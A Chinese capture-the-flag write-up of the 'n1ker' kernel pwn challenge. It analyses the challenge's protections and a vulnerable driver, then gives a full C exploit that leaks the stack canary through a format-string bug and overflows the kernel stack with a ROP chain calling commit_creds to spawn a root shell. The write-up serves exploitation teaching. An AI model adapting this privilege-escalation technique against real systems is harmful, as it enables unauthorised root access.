[第六章 CTF之PWN章]n1ker
kernal pwn
首先還是看一下start.sh
#! /bin/shqemu-system-x86_64 \ -m 512M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \ -gdb tcp::1234 -S \ -monitor /dev/null \ -nographic 2>/dev/null \ -smp cores=2,threads=1 \ -cpu kvm64,+smep看到不是單核單線程,那么我們就要小心條件競爭。
看得到開了kaslr,smep。
我們說內核部分的保護分成四個方面。
內核保護從四個方面出發,分別是隔離、訪問控制、異常檢測、隨機化
隔離分為smep用戶代碼不可執行、smap用戶數據不可訪問、KPTI。
隨機化也分為kaslr、fgkaslr。
然后我們我解壓文件系統,看一下init文件。
mkdir core cp rootfs.cpio ./core cd core mv ./rootfs.cpio rootfs.cpio.gz #因為cpio是經過gzip壓縮過的,必須更改名字,gunzip才認識 gunzip ./rootfs.cpio.gz #gunzip解壓一會cpio才可以認識,不然就會報畸形數字 cpio -idmv < ./rootfs.cpio #cpio是解壓指令 -idmv是它的四個參數 #-i或--extract 執行copy-in模式,還原備份檔。 #-d或--make-directories 如有需要cpio會自行建立目錄。 #-v或--verbose 詳細顯示指令的執行過程。 #-m或preserve-modification-time 不去更換文件的更改時間
開了KPTI
那么顯然掛載了那個模塊。
然后也把符號表讀到了/tmp/kallsyms 就不用泄露地址啥的 直接都有
掛載了devpts,可以考慮劫持tty結構體
然后IDA。
ioctl函數。
deadbeef似乎是有一個格式化字符串。
n1drv有個函數
copy_user_generic_unrolled
也是一個復制拷貝函數。ida里面沒有顯示參數,直接看匯編吧。
講道理應該是三個參數。
第一個call rdi是棧頂。rsi是傳入的user的地址。rdx理所應當就是復制的大小。那這里顯然就有棧溢出。
兩個call一個在棧里 一個在堆里 都復制成功才不報錯
所以一會malloc得稍微大點。
所以我們的思路就還是比較明確的
格式化字符串泄露canary,基地址甚至不需要泄露 它直接放在了/tmp/kallsyms文件夾里,當然泄露泄露也行。
然后直接一個棧溢出。
開了kpti,還需要繞一下。
分步驟淺談一下
setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0); //緩沖區關掉,否則會沒有輸出。int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[0x50];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);getchar();write(1,"input vmlinux addr\n",43);scanf("%llx",&kernal_base);write(1,"input vmlinux canary\n",45);scanf("%llx",&canary);當然要首先拿到基地址
基地址可以在init里面改了權限
但是這個題直接可以/tmp/kallsyms也可以
輸出的canary等等啥的scanf輸入就行。
然后就是構造rop鏈
exp
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h>void get_shell(void){ puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");if(getuid()){puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(-1);}puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");system("/bin/sh"); }void add(int fd,int size) {ioctl(fd,0x73311337,size); }void put(int fd) {ioctl(fd,0xDEADBEEF); }unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_stats() {asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %3\n""pushfq\n""popq %2\n":"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp):: "memory");printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }int main() { setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[100];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);printf("input vmlinux addr\n");scanf("%llx",&kernal_base);printf("input canary\n");scanf("%llx",&canary);kernal_base = kernal_base - 0x1c827f;size_t prepare_kernel_cred = kernal_base + 0x81790;size_t commit_creds = kernal_base + 0x81410;size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);printf("commit_creds:0x%llx \n",commit_creds);save_stats();int i = 0;for(i = 0; i <= 60; i ++) {rop[i] = "aaaaaaaa";}i = 32;rop[i++] = canary; // canaryrop[i++] = canary; // rbprop[i++] = pop_rdi;rop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = push_rax;rop[i++] = 0;rop[i++] = 0;rop[i++] = 0;rop[i++] = pop_rbx;rop[i++] = pop_rdx;rop[i++] = call_rbx;rop[i++] = commit_creds;rop[i++] = swapgs_restore_regs_and_return_to_usermode;rop[i++] = 0;rop[i++] = 0;rop[i++] = (size_t) get_shell;rop[i++] = user_cs;rop[i++] = user_eflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd,rop,0x1b0); //copy can't more than rop }遠程給的時間太短 怪不得零解
本地沒問題。
總結
以上是生活随笔為你收集整理的[第六章 CTF之PWN章]n1ker的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 既有内网又有外网的网络如何设置路由器模式
- 下一篇: eclipse安装图形界面插件